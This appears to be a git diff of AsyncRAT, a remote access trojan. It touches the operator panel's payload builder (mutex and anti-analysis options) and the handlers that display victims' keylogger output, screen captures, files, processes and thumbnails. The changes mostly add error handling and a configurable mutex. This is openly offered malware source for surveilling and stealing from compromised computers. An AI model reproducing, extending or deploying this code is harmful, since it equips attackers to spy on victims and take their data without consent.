+ this.groupBox3.Controls.Add(this.label5);
this.groupBox3.Controls.Add(this.chkAnti);
this.groupBox3.Location = new System.Drawing.Point(16, 468);
this.groupBox3.Name = "groupBox3";
- this.groupBox3.Size = new System.Drawing.Size(440, 99);
+ this.groupBox3.Size = new System.Drawing.Size(440, 174);
this.groupBox3.TabIndex = 9;
this.groupBox3.TabStop = false;
this.groupBox3.Text = "MISC";
@@ -187,17 +191,33 @@
this.chkAnti.Text = "Anti Analysis";
this.chkAnti.UseVisualStyleBackColor = true;
//
- // Builder
+ // txtMutex
+ //
+ this.txtMutex.Location = new System.Drawing.Point(106, 99);
+ this.txtMutex.Name = "txtMutex";
+ this.txtMutex.Size = new System.Drawing.Size(271, 26);
+ this.txtMutex.TabIndex = 11;
+ //
+ // label5
+ //
+ this.label5.AutoSize = true;
+ this.label5.Location = new System.Drawing.Point(14, 102);
+ this.label5.Name = "label5";
+ this.label5.Size = new System.Drawing.Size(52, 20);
+ this.label5.TabIndex = 10;
+ this.label5.Text = "Mutex";
+ //
+ // FormBuilder
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
- this.ClientSize = new System.Drawing.Size(470, 693);
+ this.ClientSize = new System.Drawing.Size(470, 788);
this.Controls.Add(this.groupBox3);
this.Controls.Add(this.groupBox2);
this.Controls.Add(this.groupBox1);
this.Controls.Add(this.button1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
- this.Name = "Builder";
+ this.Name = "FormBuilder";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
this.Text = "Builder";
this.Load += new System.EventHandler(this.Builder_Load);
@@ -227,5 +247,7 @@
private System.Windows.Forms.ComboBox comboBoxFolder;
private System.Windows.Forms.GroupBox groupBox3;
private System.Windows.Forms.CheckBox chkAnti;
+ private System.Windows.Forms.TextBox txtMutex;
+ private System.Windows.Forms.Label label5;
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs
index 06001e7..23cfad3 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs
@@ -24,6 +24,8 @@ namespace AsyncRAT_Sharp.Forms
if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return;
if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
}
+ if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Guid.NewGuid().ToString().Substring(10);
+
try
{
button1.Enabled = false;
@@ -57,10 +59,10 @@ namespace AsyncRAT_Sharp.Forms
method.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower();
if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
- method.Body.Instructions[i].Operand = Settings.Password; //Guid.NewGuid().ToString();
+ method.Body.Instructions[i].Operand = txtMutex.Text;
- if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT")
- method.Body.Instructions[i].Operand = Settings.Password;
+ //if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT")
+ // method.Body.Instructions[i].Operand = Settings.Password;
}
}
}
@@ -92,6 +94,7 @@ namespace AsyncRAT_Sharp.Forms
MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
Properties.Settings.Default.DNS = textIP.Text;
Properties.Settings.Default.Filename = textFilename.Text;
+ Properties.Settings.Default.Mutex = txtMutex.Text;
Properties.Settings.Default.Save();
button1.Enabled = true;
this.Close();
@@ -130,12 +133,16 @@ namespace AsyncRAT_Sharp.Forms
{
comboBoxFolder.SelectedIndex = 0;
textPort.Text = Settings.Port;
+ txtMutex.Text = Guid.NewGuid().ToString().Substring(10);
if (Properties.Settings.Default.DNS.Length > 0)
textIP.Text = Properties.Settings.Default.DNS;
else
textIP.Text = "127.0.0.1,127.0.0.1";
if (Properties.Settings.Default.Filename.Length > 0)
textFilename.Text = Properties.Settings.Default.Filename;
+
+ if (Properties.Settings.Default.Mutex.Length > 0)
+ txtMutex.Text = Properties.Settings.Default.Mutex;
}
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs
index 270dbe7..2a86717 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs
@@ -31,7 +31,7 @@ namespace AsyncRAT_Sharp.Forms
private async void timer1_Tick(object sender, EventArgs e)
{
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}";
- if (C.BytesRecevied > dSize)
+ if (C.BytesRecevied >= dSize)
{
labelsize.Text = "Downloaded";
labelsize.ForeColor = Color.Green;
@@ -44,7 +44,9 @@ namespace AsyncRAT_Sharp.Forms
private void SocketDownload_FormClosed(object sender, FormClosedEventArgs e)
{
if (isDownload)
+ {
if (C != null) C.Disconnected();
+ }
}
public void Send(object obj)
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs
index f5fa981..fa473bc 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs
@@ -17,8 +17,6 @@ namespace AsyncRAT_Sharp.Forms
{
Methods.FadeIn(this, 5);
- textPorts.Text = Settings.Port;
-
textPorts.Text = "6606, 7707, 8808";
if (Properties.Settings.Default.Ports.Length > 0)
textPorts.Text = Properties.Settings.Default.Ports;
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs
index 6f6261a..05dca00 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs
@@ -56,7 +56,7 @@ namespace AsyncRAT_Sharp.Forms
private void FormRemoteDesktop_Load(object sender, EventArgs e)
{
button2.Top = panel1.Bottom + 5;
- button2.PerformClick();
+ //button2.PerformClick();
}
private void Button1_Click(object sender, EventArgs e)
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs
index 7dbf471..a9970bf 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs
@@ -6,6 +6,7 @@ using System.Drawing;
using System.IO;
using System.Windows.Forms;
using System.Threading;
+using System.Threading.Tasks;
namespace AsyncRAT_Sharp.Handle_Packet
{
@@ -13,151 +14,161 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
public void FileManager(Clients client, MsgPack unpack_msgpack)
{
- switch (unpack_msgpack.ForcePathObject("Command").AsString)
+ try
{
- case "getDrivers":
- {
- if (Program.form1.InvokeRequired)
+ switch (unpack_msgpack.ForcePathObject("Command").AsString)
+ {
+ case "getDrivers":
{
- Program.form1.BeginInvoke((MethodInvoker)(() =>
+ if (Program.form1.InvokeRequired)
{
- FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
- if (FM != null)
+ Program.form1.BeginInvoke((MethodInvoker)(() =>
{
- FM.listView1.Items.Clear();
- string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
- for (int i = 0; i < driver.Length; i++)
+ FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
+ if (FM != null)
{
- if (driver[i].Length > 0)
+ FM.listView1.Items.Clear();
+ string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
+ for (int i = 0; i < driver.Length; i++)
{
- ListViewItem lv = new ListViewItem();
- lv.Text = driver[i];
- lv.ToolTipText = driver[i];
- if (driver[i + 1] == "Fixed") lv.ImageIndex = 1;
- else if (driver[i + 1] == "Removable") lv.ImageIndex = 2;
- else lv.ImageIndex = 1;
- FM.listView1.Items.Add(lv);
+ if (driver[i].Length > 0)
+ {
+ ListViewItem lv = new ListViewItem();
+ lv.Text = driver[i];
+ lv.ToolTipText = driver[i];
+ if (driver[i + 1] == "Fixed") lv.ImageIndex = 1;
+ else if (driver[i + 1] == "Removable") lv.ImageIndex = 2;
+ else lv.ImageIndex = 1;
+ FM.listView1.Items.Add(lv);
+ }
+ i += 1;
}
- i += 1;
}
- }
- }));
+ }));
+ }
+ break;
}
- break;
- }
- case "getPath":
- {
- if (Program.form1.InvokeRequired)
+ case "getPath":
{
- Program.form1.BeginInvoke((MethodInvoker)(() =>
+ if (Program.form1.InvokeRequired)
{
- FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
- if (FM != null)
+ Program.form1.BeginInvoke((MethodInvoker)(() =>
{
- FM.listView1.Items.Clear();
- FM.listView1.Groups.Clear();
- string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
- ListViewGroup groupFolder = new ListViewGroup("Folders");
- FM.listView1.Groups.Add(groupFolder);
- int numFolders = 0;
- for (int i = 0; i < _folder.Length; i++)
+ FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
+ if (FM != null)
{
- if (_folder[i].Length > 0)
+ FM.listView1.Items.Clear();
+ FM.listView1.Groups.Clear();
+ string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
+ ListViewGroup groupFolder = new ListViewGroup("Folders");
+ FM.listView1.Groups.Add(groupFolder);
+ int numFolders = 0;
+ for (int i = 0; i < _folder.Length; i++)
{
- ListViewItem lv = new ListViewItem();
- lv.Text = _folder[i];
- lv.ToolTipText = _folder[i + 1];
- lv.Group = groupFolder;
- lv.ImageIndex = 0;
- FM.listView1.Items.Add(lv);
- numFolders += 1;
+ if (_folder[i].Length > 0)
+ {
+ ListViewItem lv = new ListViewItem();
+ lv.Text = _folder[i];
+ lv.ToolTipText = _folder[i + 1];
+ lv.Group = groupFolder;
+ lv.ImageIndex = 0;
+ FM.listView1.Items.Add(lv);
+ numFolders += 1;
+ }
+ i += 1;
+
}
- i += 1;
- }
-
- string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
- ListViewGroup groupFile = new ListViewGroup("Files");
- FM.listView1.Groups.Add(groupFile);
- int numFiles = 0;
- for (int i = 0; i < _file.Length; i++)
- {
- if (_file[i].Length > 0)
+ string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
+ ListViewGroup groupFile = new ListViewGroup("Files");
+ FM.listView1.Groups.Add(groupFile);
+ int numFiles = 0;
+ for (int i = 0; i < _file.Length; i++)
{
- ListViewItem lv = new ListViewItem();
- lv.Text = Path.GetFileName(_file[i]);
- lv.ToolTipText = _file[i + 1];
- Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2])));
- FM.imageList1.Images.Add(_file[i + 1], im);
- lv.ImageKey = _file[i + 1];
- lv.Group = groupFile;
- lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3])));
- FM.listView1.Items.Add(lv);
- numFiles += 1;
+ if (_file[i].Length > 0)
+ {
+ ListViewItem lv = new ListViewItem();
+ lv.Text = Path.GetFileName(_file[i]);
+ lv.ToolTipText = _file[i + 1];
+ Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2])));
+ FM.imageList1.Images.Add(_file[i + 1], im);
+ lv.ImageKey = _file[i + 1];
+ lv.Group = groupFile;
+ lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3])));
+ FM.listView1.Items.Add(lv);
+ numFiles += 1;
+ }
+ i += 3;
}
- i += 3;
+ FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]";
}
- FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]";
- }
- }));
+ }));
+ }
+ break;
}
- break;
- }
+ }
+
}
+ catch { }
}
public void SocketDownload(Clients client, MsgPack unpack_msgpack)
{
- switch (unpack_msgpack.ForcePathObject("Command").AsString)
+ try
{
- case "pre":
- {
- if (Program.form1.InvokeRequired)
+ switch (unpack_msgpack.ForcePathObject("Command").AsString)
+ {
+ case "pre":
{
- Program.form1.BeginInvoke((MethodInvoker)(() =>
+ if (Program.form1.InvokeRequired)
{
-
- string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
- string file = unpack_msgpack.ForcePathObject("File").AsString;
- string size = unpack_msgpack.ForcePathObject("Size").AsString;
- FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
- if (SD != null)
+ Program.form1.BeginInvoke((MethodInvoker)(() =>
{
- SD.C = client;
- SD.labelfile.Text = Path.GetFileName(file);
- SD.dSize = Convert.ToInt64(size);
- SD.timer1.Start();
- }
- }));
- }
- break;
- }
- case "save":
- {
- if (Program.form1.InvokeRequired)
- {
- Program.form1.BeginInvoke((MethodInvoker)(() =>
- {
- string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
- FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
- if (SD != null)
- {
- if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
- Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")));
- string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
- if (File.Exists(filename))
+ string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
+ string file = unpack_msgpack.ForcePathObject("File").AsString;
+ string size = unpack_msgpack.ForcePathObject("Size").AsString;
+ FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
+ if (SD != null)
{
- File.Delete(filename);
- Thread.Sleep(500);
+ SD.C = client;
+ SD.labelfile.Text = Path.GetFileName(file);
+ SD.dSize = Convert.ToInt64(size);
+ SD.timer1.Start();
}
- unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString));
- }
- }));
+ }));
+ }
+ break;
}
- break;
- }
+
+ case "save":
+ {
+ if (Program.form1.InvokeRequired)
+ {
+ Program.form1.BeginInvoke((MethodInvoker)(async () =>
+ {
+ string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
+ FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
+ if (SD != null)
+ {
+ if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
+ Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")));
+ string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
+ if (File.Exists(filename))
+ {
+ File.Delete(filename);
+ await Task.Delay(500);
+ }
+ File.WriteAllBytes(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString), unpack_msgpack.ForcePathObject("File").GetAsBytes());
+ }
+ }));
+ }
+ break;
+ }
+ }
+
}
+ catch { }
}
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs
index e51c6af..3272be5 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs
@@ -13,24 +13,29 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
public HandleKeylogger(Clients client, MsgPack unpack_msgpack)
{
- if (Program.form1.InvokeRequired)
+ try
{
- Program.form1.BeginInvoke((MethodInvoker)(() =>
+ if (Program.form1.InvokeRequired)
{
- FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
- if (KL != null)
+ Program.form1.BeginInvoke((MethodInvoker)(() =>
{
- KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString());
- }
- else
- {
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "keyLogger";
- msgpack.ForcePathObject("isON").AsString = "false";
- client.BeginSend(msgpack.Encode2Bytes());
- }
- }));
+ FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
+ if (KL != null)
+ {
+ KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString());
+ }
+ else
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "keyLogger";
+ msgpack.ForcePathObject("isON").AsString = "false";
+ client.BeginSend(msgpack.Encode2Bytes());
+ }
+ }));
+ }
+
}
+ catch { }
}
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs
index 72bc822..b571bc5 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs
@@ -12,28 +12,39 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
if (Program.form1.listView1.InvokeRequired)
{
- Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
+ try
{
- client.LV = new ListViewItem();
- client.LV.Tag = client;
- client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
- string[] ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
- client.LV.SubItems.Add(ipinf[1]);
- client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
- client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
- client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
- client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
- client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
- client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString;
- client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
- Program.form1.listView1.Items.Insert(0, client.LV);
- Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
- }));
- lock (Settings.Online)
- {
- Settings.Online.Add(client);
+ Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
+ {
+ client.LV = new ListViewItem();
+ client.LV.Tag = client;
+ client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
+ string[] ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
+ client.LV.SubItems.Add(ipinf[1]);
+ client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
+ client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
+ client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
+ client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
+ client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
+ client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString;
+ client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
+ Program.form1.listView1.Items.Insert(0, client.LV);
+ Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
+
+ if (Properties.Settings.Default.Notification == true)
+ {
+ Program.form1.notifyIcon1.BalloonTipText = $@"Connected
+{client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} : {client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]}";
+ Program.form1.notifyIcon1.ShowBalloonTip(100);
+ }
+ }));
+ lock (Settings.Online)
+ {
+ Settings.Online.Add(client);
+ }
+ new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
}
- new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
+ catch { }
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs
index 1908554..22b90bc 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs
@@ -12,10 +12,14 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
- if (client.LV != null)
+ try
{
- client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString;
+ if (client.LV != null)
+ {
+ client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString;
+ }
}
+ catch { }
}));
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs
index cf70661..1d907c7 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs
@@ -12,34 +12,39 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
public void GetProcess(Clients client, MsgPack unpack_msgpack)
{
- if (Program.form1.InvokeRequired)
+ try
{
- Program.form1.BeginInvoke((MethodInvoker)(() =>
+ if (Program.form1.InvokeRequired)
{
- FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID];
- if (PM != null)
+ Program.form1.BeginInvoke((MethodInvoker)(() =>
{
- PM.listView1.Items.Clear();
- string processLists = unpack_msgpack.ForcePathObject("Message").AsString;
- string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None);
- for (int i = 0; i < _NextProc.Length; i++)
+ FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID];
+ if (PM != null)
{
- if (_NextProc[i].Length > 0)
+ PM.listView1.Items.Clear();
+ string processLists = unpack_msgpack.ForcePathObject("Message").AsString;
+ string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None);
+ for (int i = 0; i < _NextProc.Length; i++)
{
- ListViewItem lv = new ListViewItem();
- lv.Text = Path.GetFileName(_NextProc[i]);
- lv.SubItems.Add(_NextProc[i + 1]);
- lv.ToolTipText = _NextProc[i];
- Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2])));
- PM.imageList1.Images.Add(_NextProc[i + 1], im);
- lv.ImageKey = _NextProc[i + 1];
- PM.listView1.Items.Add(lv);
+ if (_NextProc[i].Length > 0)
+ {
+ ListViewItem lv = new ListViewItem();
+ lv.Text = Path.GetFileName(_NextProc[i]);
+ lv.SubItems.Add(_NextProc[i + 1]);
+ lv.ToolTipText = _NextProc[i];
+ Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2])));
+ PM.imageList1.Images.Add(_NextProc[i + 1], im);
+ lv.ImageKey = _NextProc[i + 1];
+ PM.listView1.Items.Add(lv);
+ }
+ i += 2;
}
- i += 2;
}
- }
- }));
+ }));
+ }
+
}
+ catch { }
}
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs
index e426fbb..b366eb2 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs
@@ -13,45 +13,49 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
public void Capture(Clients client, MsgPack unpack_msgpack)
{
- if (Program.form1.InvokeRequired)
+ try
{
- Program.form1.BeginInvoke((MethodInvoker)(() =>
+ if (Program.form1.InvokeRequired)
{
- FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
- try
+ Program.form1.BeginInvoke((MethodInvoker)(() =>
{
- if (RD != null)
+ FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
+ try
{
- if (RD.C2 == null)
+ if (RD != null)
{
- RD.C2 = client;
- RD.timer1.Start();
- }
- byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
- Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
+ if (RD.C2 == null)
+ {
+ RD.C2 = client;
+ RD.timer1.Start();
+ }
+ byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
+ Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
- if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
- {
- RD.pictureBox1.Image = (Bitmap)decoded;
- RD.RenderSW = Stopwatch.StartNew();
+ if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
+ {
+ RD.pictureBox1.Image = (Bitmap)decoded;
+ RD.RenderSW = Stopwatch.StartNew();
+ }
+ RD.FPS++;
+ if (RD.sw.ElapsedMilliseconds >= 1000)
+ {
+ RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length);
+ RD.FPS = 0;
+ RD.sw = Stopwatch.StartNew();
+ }
}
- RD.FPS++;
- if (RD.sw.ElapsedMilliseconds >= 1000)
+ else
{
- RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length);
- RD.FPS = 0;
- RD.sw = Stopwatch.StartNew();
+ client.Disconnected();
+ return;
}
}
- else
- {
- client.Disconnected();
- return;
- }
- }
- catch (Exception ex) { Debug.WriteLine(ex.Message); }
- }));
+ catch (Exception ex) { Debug.WriteLine(ex.Message); }
+ }));
+ }
}
+ catch { }
}
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs
index 540bc5e..bb0cbd2 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs
@@ -6,40 +6,44 @@ using System.Windows.Forms;
namespace AsyncRAT_Sharp.Handle_Packet
{
- public class HandleThumbnails
+ public class HandleThumbnails
{
public HandleThumbnails(Clients client, MsgPack unpack_msgpack)
{
- if (Program.form1.listView3.InvokeRequired)
+ try
{
- Program.form1.listView3.BeginInvoke((MethodInvoker)(() =>
+ if (Program.form1.listView3.InvokeRequired)
{
- if (client.LV2 == null)
+ Program.form1.listView3.BeginInvoke((MethodInvoker)(() =>
{
- client.LV2 = new ListViewItem();
- client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
- client.LV2.ToolTipText = client.ID;
- using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
+ if (client.LV2 == null)
{
- Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
- client.LV2.ImageKey = client.ID;
- Program.form1.listView3.BeginUpdate();
- Program.form1.listView3.Items.Insert(0, client.LV2);
- Program.form1.listView3.EndUpdate();
+ client.LV2 = new ListViewItem();
+ client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
+ client.LV2.ToolTipText = client.ID;
+ using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
+ {
+ Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
+ client.LV2.ImageKey = client.ID;
+ Program.form1.listView3.BeginUpdate();
